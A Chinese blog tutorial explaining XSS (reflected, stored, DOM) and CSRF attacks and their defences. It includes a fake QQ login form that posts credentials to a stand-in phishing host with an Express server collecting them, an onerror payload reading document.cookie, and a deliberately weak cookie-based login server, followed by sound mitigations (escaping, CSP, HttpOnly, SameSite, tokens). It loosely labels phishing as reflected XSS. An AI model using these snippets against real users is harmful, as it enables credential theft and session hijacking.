啥,你问我啥是Web安全??

场景在线:当你正在浏览一些正常网站时,右下角突然弹出来一个涩涩的大图广告弹窗,上面有着什么澳门皇家,91之类我根本不懂的这些东西,或者在评论区加载了一些奇奇怪怪的的元素,挂件,那么恭喜你,你可能遇到了web攻击。

web攻击概念

XSS攻击用大白话说就是:攻击者往Web页面里嵌入恶意Script代码,当用户浏览该网页时,执行了某些动作,嵌入Web里面的Script代码会被执行,从而达到攻击者的目的。

CSRF攻击用大白话说就是:这是web安全漏洞,它可以部分地绕过同源策略,允许攻击者诱导用户做非法事情。

听起来好像没啥难的,事实也确实如此,攻击起来容易,防护起来也容易。

大致攻击场景(XSS,CSRF)

XSS(跨站脚本攻击):一般在内容输入区注入恶意代码(没做校验),来获取用户的cookies、操作请求(发帖,发私信)、实现DDOS攻击。

CSRF(跨站请求伪造):用户在正常访问A网站时不小心点了B的广告,触发B网站的js代码,来向A网站发送请求(因为登陆过 A网站有cookie,请求能成功)。

经典XSS攻击方式分析与防范

这货按攻击类型来划分的话,大致有反射型、存储型、DOM型三种方式。

先说第一种,反射型:

这类攻击方式往往不是攻击者主动去攻击用户,主要借助URL来实施,诱导用户点击,把用户的数据发送给攻击者。 最常见的就是:空间相册,空间留言,假冒LOL官网进行抽奖等,需要登陆QQ账号密码的类型。(记得看域名辨真伪,尽量扫码登陆)

一个小demo:

<div>
        账号:<input type="text" placeholder="请输入你的QQ号" />
        密码:<input type="password" placeholder="QQ密码" />
        	 <button id="btn">登陆</button>
</div>
<script>
    const inputEle = document.querySelectorAll("input");
    const username = inputEle[0].value;
    const password = inputEle[1].value;
    document.getElementById("btn").addEventListener("click", () => {
        const xhr = new XMLHttpRequest();
        xhr.open("post", "http://PianZiWangZhan.com:3000/login", true);
        xhr.send(JSON.stringify({
            username, password
        }))
        xhr.onreadystatechange = () => {
            if (xhr.readyState === 4 && xhr.status == 200) {
		 	console.log(xhr.responseText);
            }
        }
    })
</script>

在这里插入图片描述
假设这钓鱼网站的链接为 http://PianZiWangZhan.com,一般会有另一个服务用来存储被骗用户发过来的用户名和密码,简单如下:

const express = require("express");
const app = express();

app.post("/login", (req, res) => {
    //检查username password
    const {username,password}=req.body;
    console.log(username,password)
    return res.send("用户账密获取成功")
})
app.listen(3000, () => {
    console.log("running on 3000");
})

在这里插入图片描述

就是这么简单的逻辑,一般界面做的很逼真,或者域名很像。一切准备就绪之后,就开始发广告,诱导用户上钩了,这种就是传统的反射型XSS,需要引导用户去点击链接。

再说第二种,存储型:

这种不通过URL地址来传播,而是利用网站的页面结构,比如评论区模块,用户可以通过接口提交评论内容,这些内容会被存储到服务器的数据库。下次进来或刷新时服务器从数据库提取内容渲染到页面,如果评论内容具备攻击性,那就是页面毒瘤炸弹了。(所以要做输入防护)

举个例子:

现在有一个网站的评论区如下: (还蛮好看的)在这里插入图片描述
这些评论数据,是通过接口去从服务器去拿的,然后通过js渲染到页面上,就比如说现在从服务器拿到的数据如下方所示:

{
    area: "广东省 广州市"
    comment: "今天天气不错"
    commentTime: "2021-07-09T01:48:00.000Z"
    likeCount: 0
    qqurl: "https://q.qlogo.cn/headimg_dl1dst_uin=1559298665&spec=100"
    username: "DingShiYi"
}

并且我渲染的时候我是把comment这个属性对应的值通通过innerHTML的方式去渲染的

<div id="comment"></div>
//拿到评论的文本
const comment = data.comment;
document.getElementById("comment").innerHTML = comment;

这时候因为今天天气不错是一个无害的文本,所以没什么影响,但是如果哪天有个小(sha)可(bi)爱,在我的网站上评论了这么一段文本: "<script>alert("博主真帅,忍不住点赞了")</script>" ,没做防护,还用的是innerHTML 标签来渲染,那么就会出现

在这里插入图片描述

这种折磨谁受得了,太攻击(恶心人了)。

接着说第三种,DOM型:

通过修改页面的DOM节点形成的XSS。从效果上看,属于反射型XSS,但其通过修改DOM,直接在页面上操作,不经过后端,不经过数据库。

比如下方的代码的image_url是通过浏览器url上去拿的,然后通过img渲染,但是如果我在url后加上" οnerrοr=“我的js代码” " > 让img标签加上onerror属性,然后发给需要攻击的用户,用户点开后,因为src加载失败,所以执行onerorr,那么用户就被攻击了。

// 正常
<script>const image_url = "..images.ac.qq.com/....."</script>
<div>
    <img src="{image_url}">
</div>

// 异常
<script>
  const image_url = " οnerrοr="console.log(document.cookie)"
</script>
<div>
    <img src="" onerror="console.log(document.cookie)"">
</div>
防范

用户:注意域名,通过这个辨别真伪,登陆的尽量扫码登陆,不确定的可以故意输错试一下。

开发人员:不要相信任何用户输入的数据,该限制的限制,该转义的转义,该编码的编码。避免使用innerHTML,document.write,outerHTML,用textContent,setAttribute方法代替;开启CSP防护,在http响应头中设置 COntent-Security-Policy:script-src 'self'

值得一说的是:Http头部通过设置 set-cookie 阻止xss通过返回的html中添加js脚本访问cookie,其有俩属性

  • httponly:禁止js脚本访问cookie( httpOnly只能防御xss攻击后续对cookie的操作,并不能防御xss攻击)
  • secure : 浏览器请求为 https 时才发送cookie

经典CSRF攻击方式分析与防范

CSRF攻击要想成功,必须具备三个必要条件

  • 相关的行为:攻击者有理由诱使应用程序中发生某种动作。 这可能是特权操作(例如,修改其他用户的权限)或对用户特定数据的任何操作(例如,更改用户自己的密码)。
  • 基于Cookie的会话处理: 执行该操作会发出一个或多个HTTP请求,并且该应用程序仅依靠会话cookie来标识发出请求的用户,应用程序没有其他机制可以跟踪会话或验证用户请求。
  • 没有不可预测的请求参数:执行该操作的请求不包含攻击者无法确定或猜测出其值的任何参数。 例如,当诱使用户更改密码时,如果攻击者需要知道现有密码的值,则攻击通常没法成功。
如何去构造一个csrf攻击?

为了满足上述方式,我们需要使用cookie去做用户的身份鉴定。所以这里起了一个服务,又一个登陆接口,接受用户的用户名和密码进行判断。用户名和密码都正确,那么我们就登陆成功,并且使用password+"secret"的方式生成一个字符串作为cookie,返回给前端。

const express = require("express");
const app = express();

app.post("/login", (req, res) => {
    const { username, password } = req.boy
    //检查username password
    if (username === "helloShiYi" && password === "123456") {
        const cookie = password + "secret";
        //只要登陆成功,就把cookie发送到客户端,
        res.setHeader("Set-Cookie", cookie)
        return res.send({
            message: "密码正确登陆成功!"
        })
    }
    return res.send({ message: "密码错误!" })
})
app.listen(3000, () => {
    console.log("running on 3000");
})

在这里插入图片描述

当我们登陆成功后,收到响应,发现有"Set-Cookie"这样的http请求头,那么就会把cookie存下来,并且以后发送请求都会携带上这个cookie,这个cookie就是我们用户身份的象征,通过解析cookie是否正确,就能判断是否是对应用户操作。

那么这这个时候你在浏览器中发现了一个链接http://ShaBiCaiDian.com,但是你偏不信,然后就点进去了,然后发现你一会儿就被挤下线了。

那这中间发生了什么呢?

当你点进去http://ShaBiCaiDian.com 的时候,那么这个网站去发了一条请求,是修改密码的请求,但是因为你是直接从当前页面跳转的,所以document.cookie依然能够获取到之前页面的cookie,并携带这个cookie发送一个请求。服务器收到这个请求,去解析cookie,发现是正确的,所以进行了密码的修改。

CSRF的防御方法

上面说了,要做成一个CSRF攻击,那三个必要条件是一定要满足的,那防御的话,破坏其中一个就好,具体的方法有:

  1. 设置cookie的请求头:设置SameSites属性,它三个值(Strict:跨站时,只有当前网页的URL和请求目标一致才携带cookie;Lax:像a,link,form标签有目标网站的GET请求;None,关闭该属性)
  2. 设置Token:服务器端生成token,让前端存储在localstorage或sessionstorage中,之后每次请求都带上,第三方没有token,依此判别。
  3. 使用同源限制,禁止第三方网站请求,服务端通过请求头中的Referer和Origin字段,判断请求源。
  4. 验证referer头部:Referer 请求头包含了当前请求页面的来源页面的地址,所以我们可以在服务端验证referer字段是否是指定的url。
  5. 使用httpOnly禁止document.cookie获取cookie。

以上。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值